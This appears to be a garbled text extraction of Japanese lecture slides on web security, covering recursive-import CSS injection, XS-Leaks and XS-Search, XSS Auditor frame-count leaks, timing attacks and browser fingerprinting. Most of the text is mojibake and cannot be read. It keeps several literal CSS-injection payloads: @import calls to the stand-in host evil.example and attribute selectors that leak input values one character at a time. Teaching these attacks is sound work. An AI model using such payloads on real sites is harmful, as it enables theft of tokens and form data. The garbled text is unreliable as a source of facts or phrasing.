TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ͜Ε·Ͱͷख๏ͷ $44*OKFDUJPO ‣ ՝"UUSJCVUF3FBEJOH-JHBUVSF੍ޚʹΑΔϦʔΫɺ۪ʹ ΔͱɺෳճͷϦΫΤετ JOKFDUJPO ͕ඞཁʹͳΔɻ ‣
㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λೖ͢Δඞཁ͕͋Δɻ ‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳରϦʔΫͰ͖ͳ͍ɻ ‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB ‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺͷJOKFDUJPOͰϦʔΫΛࡁ·ͤ Δɺͱ͍͏ख๏ɻ ‣ ͜ͷߨٛͰ͜ͷख๏ʹ͍ͭͯઆ໌͢Δ͕ɺҎԼͷ7JMB͞ΜͷεϥΠ υΛಡΉ͜ͱΛקΊΔɻ IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λೖ͢Δɻ
<style>@import url(//evil.example/0.css)</style> @import url(//evil.example/1.css) input[value^=a]{/*...*/} input[value^=b]{/*...*/} ... input[value^=z]{/*...*/} ‣ DTTͷதΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO @import url(//evil.example/2.css)
input[value^=aa]{/*...*/} input[value^=ab]{/*...*/} ... input[value^=az]{/*...*/} ‣ DTTͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ ‣ DTTԼ෦ͰจࣈͷϦʔΫ͕ߦΘΕΔɻ ‣ ͜ͷจࣈͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ͢Δɻ ‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ͢Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ར͜ͷΑ͏ͳखॱΛ܁Γฦ͢͜ͱʹΑΓɺॳΊʹTUZMFλάҰ
ͭΛೖ͢Δ͚ͩͰ͋ͬͯɺϦʔΫ͍ͨ͠จࣈྻશମΛϦʔΫͰ ͖ΔΑ͏ʹͳΔɻ ‣ ؊ཁͳͱ͜Ζ ‣ ࠶ؼతʹ$44ΛJNQPSU͢Δ ‣ ͬͱ࠶ؼతͰ͋Δඞཁͳ͘ɺฒྻͤͯ͞Α͍ ‣ ϦΫΤετʹରͯͪ͠ʹฦͤͣɺ४උ͕Ͱ͖͔ͯΒฦ͢Δ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ิ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ͜ͷςΫχοΫʹؔͯ͠ɺ߈ܸ༻ͷεΫϦϓτͷ࣮͕ͦΕͳΓ ʹ໘Ͱ͋Δɻ ‣ )551ΛΔαʔό͕ඞཁͳͨΊɻ ‣
ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ ‣ IUUQTHJUIVCDPNEOVUQUSTJD ‣ IUUQTHJUIVCDPNNPOTFO ‣ ͜ΕΛҰࣗͰॻ͍ͯΈΔͷ͘͢͝ษڧʹͳΔɻ
&YFSDJTF 3FDVSTJWF*NQPSU ඇެ։
94-FBLTBOE944FBSDI
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $SPTTTJUF-FBLT4FBSDI 94-FBLT 944FBSDI ‣ $SPTTTJUFMFBLT 94-FBL ͱɺϒϥβ্ͰͷαΠυνϟω ϧͨͪͷ૯শͰ͋Δ
ޠฐ͋Δ͕ ɻ ‣ 94-FBL߈ܸͱͦͷΑ͏ͳαΠυνϟωϧΛ༻͍ͨ߈ܸͷ͜ͱɻ ‣ ͱ͘ʹ܁Γฦ͠ͷ͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔Β ͳΔ߈ܸɺ$SPTTTJUF4FBSDI 944FBSDI ͱݺΕΔɻ ‣ ྫ͑ҎԼͷΓͱΓ͔ΒɺϘϒͱΫϦε͖ͬͱΓ߹͍ͩͱݴ͑ Δ͠ɺϘϒͱΞϦεΓ߹͍Ͱͳͦ͞͏ͩͱ͔Δɻ ‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅Կ݅ʁΞϦεͱʁʯ ‣ ʮΫϦεͱ݅ɺΞϦεͱ͔݅ͳɻʯ ‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺΕΔ߈ܸɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ εΩʔϜ 944FBSDI ‣ (FMFSOUFSFUBM ‣ ൴Β944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ ‣
ߩݙ ‣ 944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద͔ͷݕ౼Λߦͬͨɻ ‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻ ‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ ‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ ‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF
7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮ͜ͷจʹ͕֮͑ͳ͍߹ ɺ͜ͷϦϯΫΛΫϦοΫʯ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF
7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮHSXHHSOHXPSHIH OPHKHʯͷݕࡧ݁ՌΛ͍߹Θ ͤΔɻ݁Ռۭͳͣɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF
7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮ"MJDFʯͰݕࡧ͢Δɻ ͠ݕࡧ݁Ռͷಛྔ FHα Πζ ॲཧ࣌ؒ FUD ͕ %VNNZ3FRVFTUͱ͍͔ۙ ఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔ ͕ਪଌͰ͖Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF
7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF
7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ߈ܸऀదͳλΠϛϯάͰ ݁ՌΛճऩ͢Δ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ߈ܸऀ͕ඃऀΛ᠘ϖʔδʹ༠ ಋ͢Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ߈ܸऀ࢝Ίʹɺ݁Ռ͕͔Γ͖ͬͯ ͍Δ͍߹ΘͤΛૹ৴͠ %VNNZ 3FRVFTU ɺͦͷಛྔΛ94-FBLT Λ༻͍ͯಘͯɺͦΕΛ͓֮͑ͯ͘ɻ ͜ͷखॱʹΑΓɺҎ߱૬ରϕʔε ͷ͕ٞͰ͖Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ࣮ࡍͷ͍߹ΘͤΛߦ͏ɻ ͜͜ͰಘΒΕͨϨεϙϯεͷಛ ྔͱ%VNNZ3FRVFTU͔Β ಘͨಛྔͷ૬ରΛͱʹɺ 3FTQPOTFͷಛੑΛ෮ݩ͢Δɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF944FBSDI (FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU
3FTQPOTF 7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ߈ܸऀదͳλΠϛϯάͰ ݁ՌΛճऩ͢Δ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ಛੑ 944FBSDI 94-FBLT ‣ 94-FBLT944FBSDIҎԼͷΑ͏ͳੑ࣭Λ࣋ͭɻ ‣ Ϧιʔε͕ϦʔΫ͞ΕΔΘ͚Ͱͳ͍ɻ ‣
944 $44*OKFDUJPOͱҟͳΔɻ401͕͋ΔͨΊɻ ‣ Ϧιʔεͷಛྔ͕ϦʔΫ͞ΕΔɻ ‣ FH͋Δ͕֘Ϧιʔεʹؚ·Ε͍ͯΔ͔Ͳ͏͔ɻ ‣ ݕࡧͷ߹͋Δ͕ϢʔβʔͷͭϦιʔεͷதʹؚ·Ε͍ͯΕɺݕ ࡧ݁ՌͷϨεϙϯε͍ͣɻ ‣ FHϦιʔε͕ͲΕ΄Ͳෳࡶ͔େ͖͍͔ɻ ‣ ෳࡶͳେ͖͍Ϩεϙϯε΄Ͳॲཧʹ͔͔Δ͍࣌ؒͣɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ྺ࢙ 94-FBLT 944FBSDI ͍ܰϒʔϜ͕དྷͨ ͝Ζ͔Βʁ ɻ )551$BDIF$SPTT4JUF-FBLT
IUUQTJSEBSDLDBUCMPHTQPUDPNIUUQDBDIFDSPTTTJUFMFBLTIUNM $SPTT4JUF$POUFOUBOE4UBUVT5ZQFT-FBLBHF IUUQTNFEJVNDPNCVHCPVOUZXSJUFVQDSPTTTJUFDPOUFOUBOETUBUVTUZQFTMFBLBHFFGEBCB &WBOT͕ݪ࢝తͳ944FBSDI JNHͱλΠϛϯάใʹΑΔ ͷ ΛఏҊͨ͠ &WBOT ɻ $SPTTEPNBJOTFBSDIUJNJOH IUUQTTDBSZCFBTUTFDVSJUZCMPHTQPUDPNDSPTTEPNBJOTFBSDIUJNJOHIUNM (FMFSOUFSFUBM͕944FBSDIΛ͋ΔఔମܥԽͯ͠هड़ɾݕ౼ ͨ͠ (FMFSOUFSFUBM ɻ࣮ੈքͰͷ߈ܸྫఏࣔ͞Εͨɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࢀߟจݙ 94-FBLT 944FBSDIͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ ‣ /PUFYTMFBLTYTMFBLTIBTBDPNQSFIFOTJWFTVSWFZQBHF IUUQTHJUIVCDPNYTMFBLTYTMFBLTXJLJ-JOLT ‣ ':*/FX94-FBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTF
VTFSJOGPSNBUJPOCZ1PSU4XJHHFS IUUQTQPSUTXJHHFSOFUEBJMZTXJHOFXYTMFBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTFVTFSJOGPSNBUJPO ‣ ':*94-FBLTBOE944FBSDICZ(PPHMF IUUQTTJUFTHPPHMFDPNTJUFCVHIVOUFSVOJWFSTJUZOPOWVMOYTMFBLT
&YBNQMF 'SBNF$PVOU
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUI $SPTT0SJHJOͰಡΊΔϓϩύςΟͷදྫ ‣ લఏ ‣ ࣝXJOEPXMFOHUI֘XJOEPXதͷGSBNFͷݸΛฦ͢ɻ
‣ ิXJOEPXMFOHUIXJOEPXGSBNFTMFOHUI ‣ ࣝ401ԼͰ͋ͬͯɺXJOEPXMFOHUIͷ$SPTT0SJHJOͳಡΈग़ ͠ڐՄ͞Ε͍ͯΔɻ ‣ ࢀߟ.%/ IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC4FDVSJUZ4BNFPSJHJO@QPMJDZ ‣ ͜ΕΛ߈ܸʹར༻Ͱ͖ΔγνϡΤʔγϣϯଘࡏ͢Δ͔ɻ͋Δͷ Ͱ͋ΕɺͦΕͲͷΑ͏ͳ߹͔ɻ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944"VEJUPS "HPPEGSJFOEGPS944NBOJB ‣ 944"VEJUPS ‣ 99441SPUFDUJPOIFBEFS EFpOFTUIFBDUJPOXIFO 3FqFDUFE
944JTGPVOE ‣ 5IFSFBSFUXPNPEFT pMUFSCMPDL ‣ 3FTFBSDIFSTIBWFUBDLMFEXJUI CZQBTTJOHPG944"VEJUPS
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUIΛར༻Ͱ͖Δྫ 'SBNF$PVOU ‣ ҎԼ99441SPUFDUJPONPEFCMPDLΛఆ͢Δɻ ‣ ϖʔδ͕IUUQFYBNQMFDPNIPHFͰαʔϒ͞Ε͍ͯΔͱ͢Δɻ ‣ ࣍ͷ63-Λ౿Ήͱɺ944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔɻ
‣ IUUQFYBNQMFDPNIPHF $TDSJQU&MFUTFDSFU%USVF#$'TDSJ QU& 63-"ͱ͢Δ ‣ USVFˠGBMTFͱͨ͠63- 63-#ͱ͢Δ ͰϒϩοΫ͞Εͳ͍ɻ <iframe src="..."></iframe> <script>let secret= true;</script>
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ XJOEPXMFOHUIΛར༻Ͱ͖Δྫ 'SBNF$PVOU ‣ ͱ͜ΖͰɺҎԼཱ͕͍ͯ͠Δɻ ‣ 944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔͱɺ͜ͷϖʔδͷ XJOEPXMFOHUIͱͳΔɻ ‣
ϒϩοΫ͞Ε͍ͯͳ͍߹ɺXJOEPXMFOHUIͱͳΔɻ ‣ Αͬͯɺ࣍ͷͭͷJGSBNFͷ͏ͪͲͪΒͷXJOEPXMFOHUI͕ ʹͳΔ͔ʹΑͬͯɺTFDSFUͷ͕ผͰ͖Δɻ ‣ JGSBNFTSD63-" JGSBNFTSD63-# <iframe src="..."></iframe> <script>let secret = true;</script>
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944"VEJUPSͷ෭࡞༻ ͳͥ944"VEJUPS͕ඇΛड͚͍ͯΔͷ͔ ‣ 944"VEJUPS͕ϒϩοΫ͢Δͱʜ ‣ 94-FBLTͷԹচʹͳΔ944"VEJUPSΛJODMVTJPOͷΦϥΫϧʹར ༻Ͱ͖Δɻ ‣
944"VEJUPS͕ϑΟϧλ͢Δͱʜ ‣ ։ൃऀ͕ҙਤ͍ͯ͠ͳ͍ഁյ͕ى͖Δɻ ‣ %0.$MPCCFSJOHͳͲͱͷΈ߹ΘͤʹΑΔى͜Γ͏Δɻ ‣ ࢀߟ9944/JHIUNBSFNPEFBUUBDL944"UUBDLT&YQMPJUJOH 944'JMUFS !NBTBUPLJOVHBXB IUUQTXXXTMJEFTIBSFOFUNBTBUPLJOVHBXBYYOFO ‣ ':**OGPSNBUJPOUIFGUBUUBDLTBCVTJOHCSPXTFST944pMUFS IUUQTXXXNCTEKQCMPHIUNM
&YFSDJTF XJOEPXMFOHUI ඇެ։
&YBNQMF 5JNJOH*OGPSNBUJPO
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5JNJOH"UUBDL 8FC αΠυνϟωϧ߈ܸͷԦ༷ ‣ ϒϥβ্Ͱͷ࣌ؒܭଌ͔ΒಘΒΕΔใɺͲͷΑ͏ʹͯ͠߈ ܸʹར༻Ͱ͖ΔͩΖ͏͔ɻ ‣
ॳظͷΞΠσΞ 'FMUFOBOE4DIOFJEFS ‣ ϒϥβͷΩϟογϡͷ༗ແ͕ɺϦιʔεͷϩʔυͷૣ͞ΛܾΊΔɻ ‣ ϒϥβΩϟογϡͷ༗ແɺϒϥβཤྺΛө͍ͯ͠Δɻ ‣ ͢ͳΘͪɺϦιʔεͷಡΈࠐΈɺϒϥβཤྺΛө͠͏Δɻ ‣ Ұൠʹɺ8FCʹ͓͚ΔλΠϛϯά߈ܸɺ࣍ͷ؍Ͱྨ͞ΕΔɻ ‣ $POOFDUJWJUZEJSFDUPSDSPTTTJUF ‣ 5BSHFU5JNJOHTFSWFSTJEFUJNJOHPSDMJFOUTJEFUJNJOH
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ %JSFDU5JNJOH"UUBDL #PSU[BOE#POFI $SPTCZFUBM ‣ ֓ཁϦʔΫ͍ͨ͠ใ͕8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹ Λ༩͑Δ߹Λఆͨ͠߈ܸͷ͜ͱɻ ‣
ݚڀͷྫ ‣ 8FCΞϓϦέʔγϣϯͷॲཧ࣌ؒͷ؍ଌʹΑΓɺαʔόʔαΠυͰอ ࣋͞ΕͨσʔλͷαΠζΛϦʔΫͰ͖Δ #PSU[BOE#POFI ɻ ‣ ωοτϫʔΫӽ͠ͷλΠϛϯά߈ܸͰ͋ͬͯɺ౷ܭख๏Λ͢Δ ͱɺඇৗʹྑ͍ਫ਼͕࣮ݱͰ͖Δ $SPTCZFUBM ɻ ‣ #PYUFTUͱݺΕΔ౷ܭख๏ɺޙͷݚڀͰଟ༻͞Ε͍ͯΔɻ ‣ FH%SBHPOCMPPE 7BOIPFGBOE3POFO ‣ FH944FBSDI (FMFSOUFSFUBM
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $SPTTTJUF5JNJOH"UUBDL #PSU[BOE#POFI ‣ ϦʔΫ͍ͨ͠ใɺ8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹΛ ༩͑ͳ͍͕ɺͦΕΛอ࣋͢ΔϢʔβʔ͕ߦ͑Δૢ࡞ʹӨڹΛ༩͑ Δ߹Λఆͨ͠߈ܸͷ͜ͱɻ ‣
αʔόʔαΠυͷ࣌ؒʹணͨ͠ݚڀ ‣ &WBOT (FMFSOUFSFUBM ͕දత ‣ ΫϥΠΞϯταΠυͷ࣌ؒʹணͨ͠ݚڀ ‣ CSPXTFSCBTFEUJNJOHBUUBDLTͱݺΕΔɻ ‣ $BDIFػߏͷ׆༻7BO(PFUIFNFUBM ‣ $44ͷ׆༻4UPOF ,PUDIFSFUBM 4NJUIFUBM
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $MJFOUTJEF5JNJOH BLB#SPXTFSCBTFE5JNJOH"UUBDL ‣ ΞΠσΞϦιʔεಡΈࠐΈͷ࣌ؒϦιʔεͷαΠζͱͷ૬ؔΛ ͭ ͣ
ɻ ‣ /FUXPSLKJUUFSαʔόʔෛՙʹΑΔ355Ԇ͕࣌ؒܭଌʹ Δͱɺຊʹܭଌ͍͕ͨ࣌ؒ͠ଌΕͳ͍ɻ ‣ ݚڀͷྫ7BO(PFUIFNFUBMɺ࣍ͷΑ͏ͳϞμϯͳ8FC"1* Λར༻͢Δ͜ͱʹΑΓɺΫϥΠΞϯταΠυͰͷϦιʔεಡΈࠐΈ ͷ࣌ؒΛਖ਼֬ͳܭଌΛୡͨ͠ 7BO(PFUIFNFUBM ɻ ‣ FH$BDIF"1* PG4FSWJDF8PSLFS ‣ FH"QQMJDBUJPO$BDIF
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $MJFOUTJEF5JNJOH BLB#SPXTFSCBTFE5JNJOH"UUBDL ‣ ΞΠσΞϨϯμϦϯάʹඞཁͳ࣌ؒίϯςϯπͱͷ૬ؔΛͭɻ ‣ +4͔Β৮Εͳ͍σʔλͰ͋ͬͯɺϨϯμϦϯά͞ΕΔ͜ͱ
͕͋ΔͷͰɺ͔ͨ͠͠Β߈ܸͷద༻ൣғ͕͕Δ͔ɻ ‣ ݚڀͷྫ ‣ 1JYFMQFSGFDUUJNJOHBUUBDLT 4UPOF IUUQTXXXDPOUFYUJTDPNNFEJBEPXOMPBET1JYFM@1FSGFDU@5JNJOH@"UUBDLT@XJUI@)5.-@8IJUFQBQFSQEG ‣ 1JYFMTUFBMJOHUJNJOHBUUBDLT ,PUDIFSFUBM IUUQTEMBDNPSHDJUBUJPODGN JE ‣ "CVTFPG1BJOU"1* %5SBOTGPSNT BOE47(T 4NJUIFUBM IUUQTXXXVTFOJYPSHDPOGFSFODFXPPUQSFTFOUBUJPOTNJUI
&YFSDJTF 4JNQMF5JNJOH"UUBDL ඇެ։
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ λΠϛϯάܭଌͷث λΠϚͱͯ͑͠Δͷͷྫ ‣ λΠϜελϯϓϕʔεͷղੳΛ͢Δ߹ ‣ ݱʹ͓͍ͯͬͱγϯϓϧͳλΠϚQFSGPSNBODFOPX
‣ ϒϥβ͔Βར༻Ͱ͖ΔߴੑೳλΠϚʹؔ͢Δݚڀͱͯ͠ɺ࣍ϖʔ δͰհ͢Δ4DIXBS[ ͕༗໊ɻ ‣ '14 GSBNFTQFSTFDPOE ϕʔεͷղੳΛ͢Δ߹ ‣ SFRVFTU"OJNBUJPO'SBNF͕ར༻Ͱ͖Δ ‣ ར༻͍ͯ͠Δݚڀͷྫ4NJUIFUBM ͷ$44ʹΑΔཤྺใ࿙Ӯ ‣ ϒϥβͷϨϯμϦϯάपΓͷઃܭΛཧղ͓ͯ͘͠ͱྑ͍͜ͱ͕͋Δ ‣ IUUQTEFWFMPQFSTHPPHMFDPNXFCGVOEBNFOUBMTQFSGPSNBODFDSJUJDBMSFOEFSJOH QBUI IMKB
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ λΠϛϯάܭଌͷث දతͳܭଌλΠϛϯά ‣ MPBEΠϕϯτ ‣ $SPTT0SJHJOͳΟϯυؒͰऔΕͳ͍ɻ
‣ JGSBNFͳΒͦͷϑϨʔϜMPBEΠϕϯτΛMJTUFOͰ͖Δɻ ‣ %0.$POUFOU-PBEFE %$- Πϕϯτ ‣ ࣮''ͰϖʔδதͷJGSBNFͰੜͨ͡%$-ΠϕϯτΛMJTUFOग़ དྷΔ ੲ͔Βͷ༷ ʜ%0.'SBNF$POUFOU-PBEFE ‣ ࢀর(FDLPݻ༗ͷ%0.ΠϕϯτҰཡ IUUQTEFWFMPQFSNP[JMMBPSHKBEPDT(FDLP4QFDJpD@%0.@&WFOUT ‣ JNHͷPOFSSPSଐੑ ‣ Ϩεϙϯε͕ؼ͖ͬͯͨλΠϛϯάͷଌఆʹΘΕ͍ͯͨ ࠓ
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ .JDSPBSDIJUFDUVSBM"UUBDLT ‣ ʮਫ਼ͷ͍͍ཧతͳλΠϚʯ͕͋Εɺ+4͔ΒͰ͋ͬͯɺ .JDSPBSDIJUFDUVSBM"UUBDLT͕࣮ݱ͞Ε͏Δɻ ‣ 4DIXBS[ FUBM
ʮਫ਼ͷ͍͍ཧతͳλΠϚʯͷݚڀ ‣ .4DIXBS[ $.BVSJDF %(SVTT BOE4.BOHBSE l'BOUBTUJD5JNFSTBOE8IFSFUP'JOE5IFN)JHI 3FTPMVUJPO.JDSPBSDIJUFDUVSBM"UUBDLTJO+BWB4DSJQUz ‣ -JQQFUBM ࣮ࡍͷ߈ܸʹؔ͢Δݚڀ ‣ .-JQQ %(SVTT .4DIXBS[ %#JEOFS $.BVSJDF BOE4.BOHBSE l1SBDUJDBMLFZTUSPLFUJNJOH BUUBDLTJOTBOECPYFE+BWB4DSJQU z-FDU/PUFT$PNQVU4DJ JODMVEJOH4VCTFS-FDU/PUFT"SUJG*OUFMM -FDU/PUFT#JPJOGPSNBUJDT WPM-/$4 QQr ‣ ͦͷଞɺ&WFOU%SJWFO1SPHSBNNJOH &%1 ʹͨ͠λΠϛϯ ά߈ܸఏҊ͞Ε͍ͯΔ 7JMBBOE,ÖQG ɻ ‣ 17JMBBOE#,ÖQG l-PPQIPMF5JNJOHBUUBDLTPOTIBSFEFWFOUMPPQTJO$ISPNF zUI64&/*94FDVS 4ZNQ 64&/*94FDVS QQr
༨ஊ 0SJHJOΛ͑ͯ͜
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJOΛ͑ͯ͜ ͬͱ8FCΛݟԼΖͯ͠ΈΔ ‣ ཧ944 94-FBL"UUBDLTɺͲͪΒݸผͷ0SJHJOʹର͢Δ ߈ܸͰ͋Δ͜ͱ͕͔Δɻ ‣ 944͋Δ0SJHJOʹର͢ΔεΫϦϓτͷೖʹΑΔσʔλୣऔ
‣ 94-FBLT͋Δ0SJHJOͷ֎͔Βͷ؍ଌʹΑΔσʔλͷਪఆ ୣऔ ‣ 0SJHJOΛ·͕ͨͬͨ߈ܸͱͯ͠ɺͲΜͳͷ͕ߟ͑ΒΕΔ͔ɻ ‣ ྫτϥοΩϯά ‣ 0SJHJOͷڥքΛӽ͑ͯϢʔβʔΛ͍͔͚Δ ‣ ྫϒϥβશମ ͋Δ͍4JUF୯Ґ ʹର͢Δ߈ܸ ‣ 6944 ‣ 3$&PS5SBOTJFOU&YFDVUJPO"UUBDLT
TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ #SPXTFS'JOHFSQSJOUJOH σʔλ౪Ίͳͯ͘ʁ ‣ -BQFSESJYFUBM ΒʹΑΔઆ໌ ‣ #SPXTFS'JOHFSQSJOUͱɺϢʔβʔͷσόΠεʹؔ࿈ͨ͠Ұཡͷ ใ
FH༻͍ͯ͠Δ 04 ϒϥβ ઃఆ ͷ͜ͱɻ ‣ #SPXTFS'JOHFSQSJOUJOH #1 ͱ8FCϒϥβ্͔ΒσόΠεͷ 'JOHFSQSJOUΛੜ͢Δߦҝͷ͜ͱɻ ‣ τϥοΩϯά੬ऑੑݕग़ɺ'SBVEEFUFDUJPOʹར༻͞ΕΔɻ ‣ #1ͱଞख๏ͷؒͰͷҧ͍ʁ ‣ ͷ#1εςʔτϨεͰ͋Γɺଞख๏ͦ͏Ͱͳ͍ͷ͕ଟ͍ɻ ‣ ଞख๏ͷྫʜ$PPLJFͳͲΛ༻͍Δ
